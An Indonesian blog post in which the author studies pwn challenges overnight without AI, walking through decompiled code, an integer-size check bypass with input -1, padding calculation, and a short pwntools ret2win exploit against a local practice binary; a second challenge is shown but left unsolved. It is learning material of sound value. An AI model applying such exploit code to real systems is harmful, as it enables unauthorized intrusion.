Challenge Semalam Belajar Tanpa AI - Day 1

Deskripsi

Sesuai judul lah ya, gw mau belajar apapun semalam tanpa AI, bentuk challenge gw ke diri sendiri. Mengapa gw lakukan challenge ini? Simply gw merasa something wrong dengan cara belajar gw. Nah langsung aja.

Belajar Pwn

Pwn Pertama

Topik pertama yaitu memory error. Ini adalah hasil disassemblynya :

__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  int nbytes; // [rsp+2Ch] [rbp-24h] BYREF
  _QWORD nbytes_4[2]; // [rsp+30h] [rbp-20h] BYREF
  int v5; // [rsp+40h] [rbp-10h]
  int v6; // [rsp+44h] [rbp-Ch]
  void *buf; // [rsp+48h] [rbp-8h]

  nbytes_4[0] = 0LL;
  nbytes_4[1] = 0LL;
  v5 = 0;
  buf = nbytes_4;
  nbytes = 0;
  printf("Payload size: ");
  __isoc99_scanf("%i", &nbytes);
  if ( nbytes > 20 )
  {
    puts("Provided size is too large!");
    exit(1);
  }
  printf("Send your payload (up to %i bytes)!\n", (unsigned int)nbytes);
  v6 = read(0, buf, (unsigned int)nbytes);
  if ( v6 < 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf("ERROR: Failed to read input -- %s!\n", v1);
    exit(1);
  }
  puts("Goodbye!");
  return 0LL;
}

Program meminta 2 input.

printf("Payload size: ");
  __isoc99_scanf("%i", &nbytes);

Input pertama yaitu potongan program di atas, input masuk dalam bentuk integer ke dalam variabel nbytes. Setelah itu, program akan melakukan validasi panjang bytes dari variabel nbytes atau input. Berikut :

if ( nbytes > 20 )
  {
    puts("Provided size is too large!");
    exit(1);
  }

Jadi, program akan melakukan pengecekan apakah nbytes panjangnya melebihi 20, apabila iya program akan exit. Kalau input berhasil melewati validasi, masuk ke input kedua.

printf("Send your payload (up to %i bytes)!\n", (unsigned int)nbytes);
  v6 = read(0, buf, (unsigned int)nbytes);

Input ini memasukkan input ke dalam variabel buf, dengan panjang sepanjang nbytes.

Awalnya saya bingung, ini bagaimana? Tapi saya kepikiran untuk ngetest integer overflow. Di bawah ini adalah ketika saya mencoba memasukkan input pertama dengan 20 :

Payload size: 20
Send your payload (up to 20 bytes)!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Goodbye!

Dan di bawah ini ketika saya mencoba memasukkan input dengan -1 :

Payload size: -1
Send your payload (up to -1 bytes)!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Goodbye!
[1]    245 segmentation fault (core dumped)

Dan ternyata core dumped. Nah kan kita udah tau nih klaau input pertama vuln dengan integer overflow. Dari input kedua, keliatan kalau ini vuln ret2win biasa. Untuk buffernya berikut :

_QWORD nbytes_4[2]; // [rsp+30h] [rbp-20h] BYREF

Kan di sampingnya ada kayak comment [rbp - 20h] gitukan, nah ngitungnya tinggal 0x20 + 8 byte (sesuain dengan arsitektur programnya, kalau 32bit berarti jumlah dengan 4byte).

Setelah dapetin paddingnya, kita cek dulu proteksinya pake checksec, dan ternyata PIE-nya mati, jadi tinggal ambil address dari gdb aja deh.

gdb ./chall
info func

Terus copy address dari win functionnya.

0x0000000000401a45  win
0x0000000000401b4c  challenge
0x0000000000401c44  main

Berarti win addressnya ada di 0x0000000000401a45. Nah berikut adalah exploitnya:

from pwn import *

context.binary = ELF('/chall)

p = process()
payload = b"A" * (0x20 + 8) + p64(0x401a45)
p.recvuntil(b"Payload size:")
p.sendline(b"-1")
p.recvuntil("Send your payload")
p.send(payload)
p.interactive()

Dan challenge solved.

Pwn Kedua

Jir coeegggggg, badan gw lebih cepet pegel oaskaoakwowoawkaowk.

__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  unsigned int v3; // [rsp+28h] [rbp-38h] BYREF
  unsigned int v4; // [rsp+2Ch] [rbp-34h] BYREF
  __int64 v5[2]; // [rsp+30h] [rbp-30h] BYREF
  int v6; // [rsp+40h] [rbp-20h]
  __int16 v7; // [rsp+44h] [rbp-1Ch]
  int v8; // [rsp+4Ch] [rbp-14h]
  size_t nbytes; // [rsp+50h] [rbp-10h]
  void *buf; // [rsp+58h] [rbp-8h]

  v5[0] = 0LL;
  v5[1] = 0LL;
  v6 = 0;
  v7 = 0;
  buf = v5;
  nbytes = 0LL;
  printf("Number of payload records to send: ");
  __isoc99_scanf("%u", &v4);
  if ( !v4 )
    __assert_fail("record_num > 0", "/chall.c", 0x49u, "chall");
  printf("Size of each payload record: ");
  __isoc99_scanf("%u", &v3);
  if ( !v3 )
    __assert_fail("record_size > 0", "/chall.c", 0x4Cu, "chall");
  if ( v3 * v4 > 0x16 )
    __assert_fail("record_size * record_num <= 22", "/chall.c", 0x4Du, "chall");
  nbytes = v3 * (unsigned __int64)v4;
  printf("Send your payload (up to %lu bytes)!\n", nbytes);
  v8 = read(0, buf, nbytes);
  if ( v8 < 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf("ERROR: Failed to read input -- %s!\n", v1);
    exit(1);
  }
  puts("Goodbye!");
  return 0LL;
}

Bentar yah gw istirahat bntr.

Kesimpulan

Kesimpulannya : lebih cepet ngantuk OAKWOKAOWKOAWOAWKOAWK

0%